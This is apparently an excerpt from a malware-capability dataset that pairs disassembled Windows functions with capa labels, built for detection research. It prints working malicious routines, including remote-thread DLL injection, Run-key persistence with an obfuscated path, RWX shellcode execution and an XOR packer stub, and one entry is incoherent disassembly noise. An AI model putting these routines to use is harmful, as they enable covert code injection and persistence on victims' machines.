joyce8/EMBER2024-capa huggingface dataset:
Function at 0x53c014
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x53c080
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 0x18]
test esi, esi
je 0x53c03d
mov eax, esi
mov si, 0xfff6
call fcn.00404458
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebx + 4]
cmp eax, 0x3e8
jbe 0x53c05f
call sub.kernel32.dll_GetTickCount_1
mov dword [ebx + 4], eax
mov eax, dword [ebx + 8]
mov dword [ebx + 0xc], eax
xor eax, eax
mov dword [ebx + 8], eax
inc dword [ebx + 8]
lea eax, [ebp - 4]
call fcn.00405080
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53c087
lea eax, [ebp - 4]
call fcn.00405080
ret
Function at 0x401060
Capabilities:
Delete file
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
push edi
xor edi, edi
cmp dword [0x845368], 0x594
mov dword [ebp - 8], eax
jne 0x40108c
push edi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov ecx, dword [0x4260c8]
mov edx, dword [0x4260cc]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x30], edx
call fcn.00401050
mov eax, dword [0x4260d0]
mov ecx, dword [0x4260d4]
add dword [ebp - 0x18], 0x23f
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], ecx
mov ebx, 0x20
jmp 0x4010d0
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x845368]
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401156
push edi
lea edx, [ebp - 0x470]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push edi
lea eax, [ebp - 0x34]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0x30
lea ecx, [ebp - 0x6c]
push edi
push ecx
mov dword [ebp - 0x70], edi
call fcn.00403280
mov edx, dword [ebp + 8]
add esp, 0xc
push edx
lea eax, [ebp - 0x70]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
xor ecx, ecx
xor edx, edx
lea eax, [ebp - 0x3c]
push eax
mov word [ebp - 0x1c], cx
mov word [ebp - 0x1a], dx
mov ecx, dword [ebp - 0x1c]
push ecx
push edi
push str.Jahuk
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov eax, dword [ebp - 4]
mov ecx, dword [0x845368]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x401170
mov dword [0x844904], 0xedeb2e40
jmp 0x401190
cmp ecx, 0x3eb
jne 0x401190
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
lea edx, [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov dword [0x8442b4], edi
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
mov edx, esi
shr edx, cl
add eax, esi
mov dword [ebp - 0x14], eax
mov dword [0x844900], 0xf4ea3dee
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov ecx, dword [ebp - 8]
shl ecx, 4
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shr eax, cl
mov ecx, dword [ebp - 4]
add eax, dword [ebp - 0x30]
xor eax, dword [ebp - 0x14]
xor ecx, eax
lea eax, [ebp - 0x18]
mov dword [ebp - 4], ecx
sub esi, ecx
call fcn.00401040
sub ebx, 1
jne 0x4010d0
cmp dword [0x845368], 0xa6d
mov ebx, dword [ebp + 8]
mov dword [ebx], esi
jne 0x401233
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp - 8]
pop edi
pop esi
mov dword [ebx + 4], edx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401240
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x845368]
sub esp, 0x48
shr eax, 3
push esi
mov esi, dword [0x8442b8]
test eax, eax
jbe 0x4012ad
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov dword [ebp - 4], eax
lea ebx, [ebx]
cmp dword [0x845368], 0x959
jne 0x40129c
push 0
push 0
call edi
lea eax, [ebp - 0x48]
push eax
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call fcn.00401060
add esi, 8
sub dword [ebp - 4], 1
jne 0x401270
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401670
Capabilities:
Get geographical location
Get system information on windows
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc2c
cmp dword [0x845368], 0x400
push esi
push edi
jne 0x4016de
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 4]
push edx
mov word [ebp - 4], ax
mov word [ebp - 2], cx
mov eax, dword [ebp - 4]
push eax
push ecx
push str.voyapamujopemopubefetexo
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
push 0
lea ecx, [ebp - 0x42c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
lea edx, [ebp - 0xc2c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x24]
call fcn.004017b0
lea esi, [ebp - 0x24]
call fcn.004017d0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov ebx, dword [ebp - 4]
xor esi, esi
lea ebx, [ebx]
call edi
cmp esi, 0x2af2a3
jle 0x401702
cmp ebx, 0x78abdb45
jne 0x40170b
inc esi
cmp esi, 0x1c5d
jl 0x4016f0
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
lea esp, [esp]
push 0
call edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x40173d
inc esi
cmp esi, 0x4f6a4
jl 0x401720
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40175c
cmp ebx, 0x785074d5
jne 0x401765
inc esi
cmp esi, 0x11915
jl 0x401748
mov eax, dword [0x42630c]
mov dword [0x845368], eax
call fcn.004013b0
mov esi, dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov edi, 0x3078f
pop ebx
cmp dword [0x845368], 0x51f
jne 0x401792
lea ecx, [ebp - 0x2c]
push ecx
call esi
sub edi, 1
jne 0x401780
mov eax, dword [0x8442b8]
mov dword [0x8448fc], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4036f0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x425248]
jne 0x4036fa
repz ret
jmp fcn.00407a41
Function at 0x407764
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040445a
and dword [ebp - 4], 0
cmp dword [0x426cf8], 0
mov ebx, eax
jne 0x407815
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4078c6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4078c6
push eax
call fcn.004043e8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x426cf8], eax
call esi
push eax
call fcn.004043e8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x426cfc], eax
call esi
push eax
call fcn.004043e8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x426d00], eax
call esi
push eax
call fcn.004043e8
pop ecx
mov dword [0x426d08], eax
test eax, eax
je 0x407815
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004043e8
pop ecx
mov dword [0x426d04], eax
mov eax, dword [0x426d04]
cmp eax, ebx
je 0x40786d
cmp dword [0x426d08], ebx
je 0x40786d
push eax
call fcn.00404463
push dword [0x426d08]
mov esi, eax
call fcn.00404463
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40786d
test edi, edi
je 0x40786d
call esi
test eax, eax
je 0x407864
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407864
test byte [ebp - 0xc], 1
jne 0x40786d
or dword [ebp + 0x10], 0x200000
jmp 0x4078a6
mov eax, dword [0x426cfc]
cmp eax, ebx
je 0x4078a6
push eax
call fcn.00404463
pop ecx
test eax, eax
je 0x4078a6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4078a6
mov eax, dword [0x426d00]
cmp eax, ebx
je 0x4078a6
push eax
call fcn.00404463
pop ecx
test eax, eax
je 0x4078a6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x426cf8]
call fcn.00404463
pop ecx
test eax, eax
je 0x4078c6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4078c8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43fa03
Capabilities:
Hash data with crc32

Disassembly:
je 0x43fbf7
jne 0x43fbf7
cmp dword [0x69a7642c], esi
lea edi, [eax + 0xcd0ea8]
cmp dword [0xd0c3a8], ecx
or dword [eax + 0x20], 0x80
mov byte [eax + esi - 1], 0
cmp dword [0xdeb3d8], edi
mov dword [0x112765ac], eax
mov dword [esi], 0xace0bc
movsx eax, word [ebp - reloc.advapi32.dll_StartServiceA]
push 0xaab9a8
int1
rcr byte [esi], 1
loop 0x43f2e7
sub eax, 0x22a93090
aaa
out 0x83, al
leave
jmp [eax + reloc.advapi32.dll_GetFileSecurityW]
movsd dword es:[edi], dword [esi]
add byte [eax + 0x4561b4], bh
mov eax, 0x10d7a2b8
mov edx, 0xb1ced4
push 0xa76714
mov dword [esi], 0x9fb764
push 0x4f0dcc
mov dword [edx + esi + 0x13c], 0x10261f8c
push 0x697a2e6c
mov byte [ebp - 0x132], 0
mov ecx, 0x15
sti
and bh, byte [edi + 0x4232049f]
cmp byte [eax], bl
mov al, byte [0x6b249244]
dec edi
arpl word [eax], bx
cwde
jmp 0x43fa03
not ecx
xor ebx, ebx
je 0x43fafa
jne 0x43fafa
cmp dword [ebp + 0xc], eax
jmp dword [ecx*4 + 0x86d66c]
shr ecx, 8
je 0x43f8c9
jne 0x43f8c9
mov dword [0x112b2da8], eax
neg dword [ebp + 0x12]
push 0xa233fc
push 0x1016adc0
mov dword [0x1124da0c], eax
mov dword [0x111d2de4], eax
cmp dword [ebp + 0x1c], 0x80000000
mov dword [esi], 0xa0e618
pmaddwd xmm6, xmmword [0x69809430]
mov eax, 0x10dab0f8
push 0x100d8c6c
mov ecx, dword [0x42be3c]
movzx eax, word [reloc.advapi32.dll_StartServiceA]
add ebp, 0x518
mov dword [esi + 0x5c], 0x42edc0
push 0xaf4520
cmp byte [0xdef019], 0
mov dword [esp + 0xec], 0x1028d9a4
hlt
mov dword [ebp - 0x128], ebx
mov dword [ebp - 4], 0xfffffffe
push 0x43fb85
ret
push eax
push 0x43fe3a
ret
je 0x43f33b
movzx eax, byte [esi]
xor eax, ecx
je 0x43fd59
jne 0x43fd59
mov ecx, dword [0x1152b260]
lock cmpxchg dword [ebx], edx
mov dword [esi + 0x694], 1
mov dword [esi + 4], 0x63eba0
jmp dword [0x49140c]
xor ecx, dword [eax*4 + 0x401240]
push 0x43f5f1
ret
mov eax, edx
dec edx
mov dword [ebp - 0x130], edx
test eax, eax
jmp 0x43f814
mov dword [ebp - 0x124], esi
jmp 0x43f925
cmp ecx, 0x39b5d60d
sete bl
jmp 0x43f464
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x4b19b0
push 0x4a41c0
mov eax, dword fs:[0]
jmp 0x43f67a
and eax, 0xff
jmp 0x43f37a
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401489
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
jne 0x4014ae
mov eax, 1
jmp 0x4014b3
mov eax, 0
leave
ret

Function at 0x4014b5
Capabilities:
Contain obfuscated stackstrings
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x154
mov dword [ebp - 0x114], 0x555c3a43
mov dword [ebp - 0x110], 0x73726573
mov dword [ebp - 0x10c], 0x73753c5c
mov dword [ebp - 0x108], 0x616e7265
mov dword [ebp - 0x104], 0x5c3e656d
mov dword [ebp - 0x100], 0x6b736544
mov dword [ebp - 0xfc], 0x5c706f74
mov dword [ebp - 0xf8], 0x74736574
mov dword [ebp - 0xf4], 0x6578652e
mov dword [ebp - 0xf0], 0
lea edx, [ebp - 0xec]
mov eax, 0
mov ecx, 0x37
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x119], 0x74736574
mov byte [ebp - 0x115], 0
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x20006
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4015f3
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x114]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
lea edx, [ebp - 0x119]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x401663
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0x18], eax
mov dword [esp], str.Kernel32
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], str.LoadLibraryA
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x43a
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x28]
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4017ab
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Error:__d_n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x4017ca
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40183d
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.CreateFile_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x401965
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x40187b
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetFileSize_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x401965
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x4018ae
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.malloc_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x401965
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4018fe
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.ReadFile_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x401965
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40194e
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.WriteFile_failed_with_error__d._n
call sym._printf
mov eax, 0
jmp 0x401965
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
leave
ret

Function at 0x401ac4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret
Function at 0x401b2b
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x154]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x164]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x154], 0x44
lea eax, [ebp - 0x164]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x154]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, dword [ebp - 0x164]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SetFilePointer_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SetEndOfFile_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x4010d5
Capabilities:
Identify system language via api

Disassembly:
mov eax, 0x443398
call fcn.004361ac
sub esp, 0xa0
push ebx
push esi
xor ebx, ebx
push 0x44c0c8
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, ebx
je 0x4011ec
push 0x44c0ac
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40111b
call eax
mov dword [ebp - 0x14], eax
jmp 0x4011e5
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4011e5
lea ecx, [ebp - 0x10]
call fcn.0040656d
cmp dword [ebp - 0x9c], 2
mov dword [ebp - 4], ebx
jne 0x40117e
push ebx
push 0x44c0a4
push 0x44c07c
lea eax, [ebp - 0x18]
push 0x80000003
push eax
call fcn.00406354
add esp, 0x14
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00406947
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x18]
jmp 0x4011b2
cmp dword [ebp - 0x9c], 1
jne 0x4011b7
push ebx
push ebx
push 0x44c054
lea eax, [ebp - 0x18]
push 0x80000001
push eax
call fcn.00406354
add esp, 0x14
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00406947
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x18]
call fcn.004065ed
mov eax, dword [ebp - 0x10]
cmp dword [eax - 4], ebx
je 0x4011d9
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x10]
push eax
push 0x44c050
call fcn.00406944
push eax
call fcn.00435da0
add esp, 0xc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004065ed
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0xc]
mov ax, word [ebp - 0x14]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x401295
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push edi
xor edi, edi
push 0x94
lea eax, [ebp - 0x94]
push edi
push eax
call fcn.00436360
add esp, 0xc
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4012df
cmp dword [ebp - 0x90], 0xa
jb 0x4012dd
push 1
pop edi
mov eax, edi
pop edi
leave
ret
Function at 0x4018d9
Capabilities:
Get common file path

Disassembly:
mov eax, 0x443514
call fcn.004361ac
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov edi, 0x104
lea ebx, [esi + 0xa94]
push edi
mov ecx, ebx
call fcn.00406655
push eax
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x44c1ec
push dword [ebp - 0x14]
call fcn.00436470
pop ecx
pop ecx
mov ecx, ebx
call fcn.004066ad
push str.Autoup.ini
lea eax, [ebp - 0x14]
push ebx
push eax
call fcn.00406a74
add esp, 0xc
and dword [ebp - 4], 0
push eax
lea ecx, [esi + 0xa98]
call fcn.00406947
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.004065ed
mov ecx, esi
call fcn.004040ce
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov ebx, eax
test ebx, ebx
je 0x4019fa
mov al, byte [0x4629d8]
lea edi, [ebp - 0x23]
mov byte [ebp - 0x24], al
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x10
lea ecx, [ebp - 0x10]
stosb byte es:[edi], al
pop eax
mov edi, dword [sym.imp.USER32.dll_GetUserObjectInformationA]
push ecx
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0x24]
push eax
push 2
push ebx
call edi
push ebx
call dword [sym.imp.USER32.dll_CloseWindowStation]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [ebp - 0x24]
push str.WinSta0
push eax
call ebx
test eax, eax
jne 0x4019f3
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
test eax, eax
mov dword [ebp - 0x14], eax
je 0x4019fa
push 0x10
lea ecx, [ebp - 0x10]
pop eax
and byte [ebp - 0x24], 0
push ecx
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0x24]
push eax
push 2
push dword [ebp - 0x14]
call edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_CloseDesktop]
lea eax, [ebp - 0x24]
push str.Default
push eax
call ebx
test eax, eax
je 0x4019fa
and dword [esi + 0xbb8], 0
and dword [esi + 0x830], 0
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x82c], 0x50
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret